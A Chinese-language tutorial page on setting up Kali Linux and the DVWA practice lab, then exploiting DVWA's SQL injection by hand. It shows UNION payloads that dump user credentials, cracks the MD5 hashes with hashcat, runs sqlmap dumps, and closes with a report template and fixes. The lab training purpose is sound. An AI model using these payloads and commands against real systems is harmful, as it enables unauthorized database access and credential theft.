当前位置: 首页 > news >正文

如何成为黑客:(Kali配置与DVWA渗透实战全攻略)

第一部分:环境搭建(步步截图级详细)

步骤1:准备虚拟机与Kali Linux

  1. 下载并安装虚拟机软件
    <ul>
  2. 前往VirtualBox(https://www.virtualbox.org/) 或VMware Workstation Player(Fusion and Workstation | VMware) 官网,下载并安装对应您主机系统(Windows/macOS/Linux)的版本。
  3. 下载Kali Linux镜像
    • 访问Kali Linux 官方下载页(Get Kali | Kali Linux),选择 “Kali Linux Virtual Machines”,下载适用于您虚拟机软件的版本(如.ova用于 VirtualBox,.vmx用于 VMware)。
  4. 导入并启动Kali
    • VirtualBox:打开软件 -> 管理 -> 导入虚拟电脑 -> 选择下载的.ova文件 -> 点击“导入”。导入后,在列表中选择它,点击“启动”。
    • VMware:打开软件 -> 文件 -> 打开 -> 选择下载的.vmx文件。打开后,点击“播放虚拟机”。
    • 默认登录凭证:用户名kali,密码kali
  5. 更新系统(在Kali终端中执行):
    sudo apt update && sudo apt full-upgrade -y ```

步骤2:配置攻击机(Kali)网络与工具

  1. 设置网络为"桥接模式"(确保攻击机和靶机在同一局域网):
    • 在虚拟机软件中,找到 Kali 虚拟机的"设置" → "网络" → "连接方式" → 选择"桥接网卡"。这样 Kali 会从您的家庭路由器获取一个独立IP,如同另一台真实电脑。
  2. 获取Kali的IP地址
    ip addr show

    找到inet后面的地址(如192.168.1.105),记下它。

  3. 安装并启动必要服务
    # 启动Apache和MySQL服务(部分工具依赖) sudo systemctl start apache2 sudo systemctl start mysql 设置MySQL root密码(按提示操作) sudo mysql_secure_installation

步骤3:部署靶机(DVWA)

  1. 下载并解压DVWA
    <pre>

    sudo wget https://github.com/digininja/DVWA/archive/master.zip sudo unzip master.zip sudo mv DVWA-master dvwa

  2. 配置数据库
    # 登录MySQL,密码是上一步设置的 sudo mysql -u root -p
    在 MySQL 提示符下,依次执行:
    <pre>

    CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES; exit;

  3. 配置DVWA
    cd /var/www/html/dvwa/config sudo cp config.inc.php.dist config.inc.php sudo nano config.inc.php ``` 找到以下行,确保它们与下面一致(`$_DVWA[ 'db_password' ]` 必须与上面创建的密码匹配): ```php $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'dvwa'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; $_DVWA[ 'default_security_level' ] = 'low'; // 将安全级别设为“低”,便于练习 ``` 按 `Ctrl+X`,然后按 `Y`,再按 `Enter` 保存退出。
  4. 修改文件权限并重启服务
    sudo chown -R www-data:www-data /var/www/html/dvwa sudo chmod -R 755 /var/www/html/dvwa sudo systemctl restart apache2 ```
  5. 访问DVWA
    • 在Kali的浏览器中,打开http://127.0.0.1/dvwa/setup.php
    • 点击页面底部的“Create / Reset Database”按钮。
    • 成功后,使用默认凭证登录:用户名admin,密码password

第二部分:实战操作(以SQL注入为例)

步骤1:侦察与目标确认

  1. 在Kali中打开终端,确认靶机(DVWA)的IP。由于靶机就是Kali本机,所以IP是127.0.0.1
  2. 使用nmap快速扫描确认服务: 应能看到80/tcp open http Apache httpd

步骤2:手动SQL注入漏洞利用(极度详细)

  1. 访问漏洞页面
    • 在浏览器中登录DVWA (http://127.0.0.1/dvwa)。
    • 左侧菜单栏,点击"DVWA Security",将安全级别设为"Low",点击"Submit"。
    • 点击"SQL Injection"
  2. 探测注入点
    • 在输入框User ID中,输入1,点击"Submit"。页面显示用户ID为1的用户信息(admin)。
    • 关键测试1(错误探测):输入1'(数字1加一个单引号),点击提交。观察:页面返回SQL语法错误信息(如You have an error in your SQL syntax...)。这强烈暗示存在SQL注入漏洞,因为单引号破坏了原SQL语句结构。
    • 关键测试2(逻辑验证):输入1' AND '1'='1,点击提交。页面应正常返回ID为1的用户信息。再输入1' AND '1'='2,点击提交。页面应返回空(因为'1'='2'为假)。这确认我们可以通过注入逻辑控制SQL查询条件。
  3. 确定字段数(为UNION查询做准备)
    • 输入1' ORDER BY 1 #,提交。页面正常。
    • 输入1' ORDER BY 2 #,提交。页面正常。
    • 输入1' ORDER BY 3 #,提交。观察:页面可能报错或返回空。这说明原始查询结果有2列#是MySQL的注释符,用于注释掉后面的SQL代码。
  4. 使用UNION查询获取数据库信息
    • 输入1' UNION SELECT 1,2 #,提交。观察:页面某处(通常在"ID"和"First name"位置)会显示数字12。这表示这两个位置可以回显我们UNION查询的结果。
    • 获取当前数据库名:输入1' UNION SELECT database(), version() #,提交。页面会在对应位置显示当前数据库名(应为dvwa)和MySQL版本号。
    • 获取所有数据库名:输入1' UNION SELECT schema_name, NULL FROM information_schema.schemata #,提交。页面会列出MySQL中所有数据库的名称。
  5. 获取当前数据库的所有表名
    • 输入:1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database() #,提交。
    • 页面会显示dvwa数据库中的所有表,如guestbookusers等。
  6. 获取关键表(如users)的列名
    • 输入:1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_schema = database() AND table_name = 'users' #,提交。
    • 页面会显示users表的所有列名,如user_idfirst_namelast_nameuserpasswordavatar等。
  7. 最终攻击:拖取用户凭证
    • 输入:1' UNION SELECT user, password FROM users #,提交。
    • 页面将直接显示所有用户名和经过MD5哈希的密码。例如admin的密码哈希是5f4dcc3b5aa765d61d8327deb882cf99
  8. 密码破解(离线)
    • 复制5f4dcc3b5aa765d61d8327deb882cf99
    • 在Kali终端中,使用hashcat或在线MD5解密网站(仅用于练习)进行破解。这是一个非常简单的MD5哈希,对应明文是password
    • 使用hashcat的命令示例:
      echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force
    • rockyou.txt是Kali自带的常用密码字典。

步骤3:使用自动化工具(sqlmap)进行验证

  1. 启动Burp Suite并设置代理(可选,用于拦截请求):
    <ul>
  2. 在Kali中打开Burp Suite (Community Edition)。
  3. 打开浏览器,设置代理为127.0.0.1:8080
  4. 访问DVWA的SQL注入页面,提交一个正常请求(如id=1),在Burp中拦截该请求,将其右键 -> Copy to file保存为request.txt
  5. 使用sqlmap
    • 在终端中,进入保存request.txt的目录,执行:
      sqlmap -r request.txt --batch --dbs ``` * `-r request.txt`:从文件中读取HTTP请求。 * `--batch`:以非交互模式运行,自动选择默认选项。 * `--dbs`:枚举数据库。
    • sqlmap会自动检测注入点、类型,并列出所有数据库。后续可以使用-D dvwa --tables枚举表,-D dvwa -T users --dump导出表数据。

第三部分:环境清理与报告模板

清理

# 在Kali中删除DVWA sudo rm -rf /var/www/html/dvwa # 在MySQL中删除数据库和用户 sudo mysql -u root -pDROP DATABASE dvwa; DROP USER 'dvwa'@'localhost'; exit;

渗透测试报告(简化模板)

# 渗透测试报告 - DVWA靶场 目标: http://127.0.0.1/dvwa 测试类型: 授权白盒测试 发现日期: [日期] 1. 高危漏洞 - SQL注入 (CWE-89) 位置: /dvwa/vulnerabilities/sqli/ 参数: id (GET) 安全级别: Low 漏洞描述: 应用程序未对用户输入的id参数进行过滤,直接拼接至SQL查询语句中,导致攻击者可执行任意SQL命令。 复现步骤: 访问 http://127.0.0.1/dvwa/vulnerabilities/sqli/。 在输入框输入: 1' UNION SELECT user, password FROM users # 点击提交。 影响: 成功获取users表中所有用户的登录名及MD5哈希密码,导致凭证泄露,可进一步破解并获取系统权限。 修复建议: 使用参数化查询(预编译语句)。 PHP示例(使用PDO): $stmt-&gt;execute(['id' =&gt;$id]); $results =$stmt-&gt;fetchAll();
  1. 对输入进行严格的类型转换(如intval($id))。
  2. 遵循最小权限原则,数据库用户不应拥有information_schema的访问权限。
http://www.jsqmd.com/news/1255963/

相关文章:

  • VLC播放器美化终极指南:5分钟打造你的专属视频播放界面
  • 2026年7月发布三菱重工空调售后服务电话24小时全新专属热线升级公示最新公告 - 故障代码查询
  • 实战一:内存硬限制与 OOM Killer(终极整合版)
  • 如何简单高效地恢复微信聊天记录:终极数据解密指南
  • 双通道同步采样ADC评估实战:从硬件设计到性能验证
  • FSDP技术解析:从原理到PyTorch实战优化
  • 国内钢结构公司排行 破解选品迷茫 适配各类项目 - 信息热点
  • 技术写作与知识沉淀方法论:从信息碎片到个人品牌的系统化构建
  • 终极指南:如何用Wand-Enhancer免费优化你的WeMod游戏体验
  • 告别销售过程黑盒,灵听AI录音工牌,助力服务过程留痕 - 行业产品测评专家
  • 贵阳GEO优化服务商推荐:2026年服务商TOP3推荐与对比 - GEORANK
  • 通用 Skill 开发实战教程:从需求到落地
  • Unity开放世界实时全局光照分块烘焙策略与性能优化实践
  • OpenAI API集成实战:构建AI辅助开发环境ADE完整指南
  • Linux 零基础教程 RPM YUM 52-54
  • Mysql索引二(白话文)
  • LangGraph开发环境搭建:从下载Python到可视化调试的保姆级教程
  • ks集群部署()(centos)
  • WarcraftHelper终极指南:如何彻底优化你的魔兽争霸III游戏体验
  • 重庆定制游旅行社哪家好?重庆雾猫旅游有限公司深度定制服务解析 - 信息热点
  • 2026 徐州正规代理记账公司怎么选?闲谈本土高口碑财税公司解析 - 品牌智鉴榜
  • 酒店客服聊天机器人:基于深度学习的NLP实践
  • 你还在手动试错提示词?揭秘LLM时代创意发散新范式:语义熵值评估+跨模态联想图谱(仅开放首批50份)
  • ASL-QPSO-SVM时序预测算法原理与MATLAB实现
  • 合肥庐阳哪家回收钻石包包靠谱?持证鉴定门店简单辨别方法 - 生活时报
  • 终极Zotero Style插件指南:3步打造专业文献管理界面
  • 2026 靠谱3K平纹碳纤维管厂家|精密加工品质稳定 采购避坑干货 - 商业新知
  • 番茄小说下载器:一站式数字阅读解决方案终极指南
  • C语言指针知识详解
  • 工业相机品牌挑选攻略:聚焦2D画质、线阵稳定性、面阵性价比